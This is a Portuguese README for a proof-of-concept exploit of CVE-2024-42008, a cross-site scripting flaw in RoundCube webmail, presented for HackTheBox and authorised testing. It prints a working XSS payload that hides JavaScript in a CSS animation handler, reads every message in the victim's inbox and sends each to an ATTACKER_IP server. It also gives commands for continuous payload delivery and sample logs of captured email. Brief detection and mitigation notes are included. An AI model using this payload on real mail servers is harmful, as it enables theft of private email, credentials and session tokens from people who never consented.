
Exploit de prova de conceito para CVE-2024-42008, uma vulnerabilidade de Cross-Site Scripting no webmail RoundCube. Entrega payloads XSS por meio de formulários de contato para roubar e-mails, credenciais e tokens de sessão em ambientes autorizados de teste de penetração.
Este repositório contém uma prova de conceito de exploração para CVE-2024-42008, uma vulnerabilidade de Cross-Site Scripting (XSS) na aplicação de webmail RoundCube. Esta exploração foi projetada para fins educacionais e ambientes controlados de teste de penetração como HackTheBox.
A vulnerabilidade existe em rcmail_action_mail_get->run() e permite que atacantes remotos executem JavaScript arbitrário nos navegadores das vítimas. A falha decorre da validação insuficiente de entrada ao processar conteúdo de e-mail, especialmente no tratamento de animações CSS e contextos de execução JavaScript.
Vetor de Ataque Chave:
onanimationstart contornam filtros de conteúdoA exploração bem-sucedida permite que atacantes:
A exploração consiste em três componentes principais:
// The core XSS payload uses CSS animations to trigger JavaScript
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=
// 1. Fetch email list from victim's INBOX
fetch('/?_task=mail&_action=list&_mbox=INBOX&_page=&_remote=1')
.then(r=>r.text())
.then(t=>{
// 2. Extract email UIDs using regex
[...t.matchAll(/this\\.add_message_row\\((\\d+),/g)].forEach(m=>{
// 3. For each email, fetch full source
fetch(`/?_task=mail&_uid=${m[1]}&_mbox=INBOX&_action=viewsource`)
.then(r=>r.text())
.then(data=>{
// 4. Exfiltrate email data to attacker server
fetch(`http://ATTACKER_IP:PORT/?data=${encodeURIComponent(data)}`)
})
})
})
; foo=bar">
pip install requests
# Single payload delivery
python cve-2024-42008-exploit.py
# Continuous mode (every 30 seconds)
python cve-2024-42008-exploit.py -c
# Custom interval (every 60 seconds)
python cve-2024-42008-exploit.py -c -i 60
# Debug mode with proxy
python cve-2024-42008-exploit.py -d
Edite o script para configurar:
ATTACKER_IP: IP do seu servidor de escutaATTACKER_PORT: Porta para receber dados exfiltradosRECIPIENT_EMAIL: Endereço de e-mail alvoTARGET_URL: Instância vulnerável do RoundCubePROXY: Servidor proxy para depuração (Burp Suite/Caido)| Opção | Descrição |
|---|---|
-d, --debug | Ativa o modo de depuração com suporte a proxy |
-c, --continuous | Envia payloads continuamente |
-i, --interval | Intervalo entre payloads (padrão: 30s) |
Indicadores de Detecção:
onanimationstart em HTMLEstratégias de Mitigação:
Considerações de Teste:
⚠️ AVISO: Esta exploração é fornecida apenas para fins educacionais e de teste autorizado.
[+] Listening on 10.10.14.209:8001 for exfiltrated data...
[2024-07-09 10:30:15] POST Request Sent! Status Code: 200
[+] 📩 Captured Email Data:
Return-Path: <[email protected]>
Received: from localhost (localhost [127.0.0.1])
...
[Email content]
--------------------------------------------------
[+] 🔥 Email data saved to emails.log
Este código é fornecido apenas para fins educacionais e teste de penetração autorizado. Os autores não são responsáveis por qualquer uso indevido ou dano causado por este software. Sempre certifique-se de ter autorização adequada antes de testar qualquer sistema.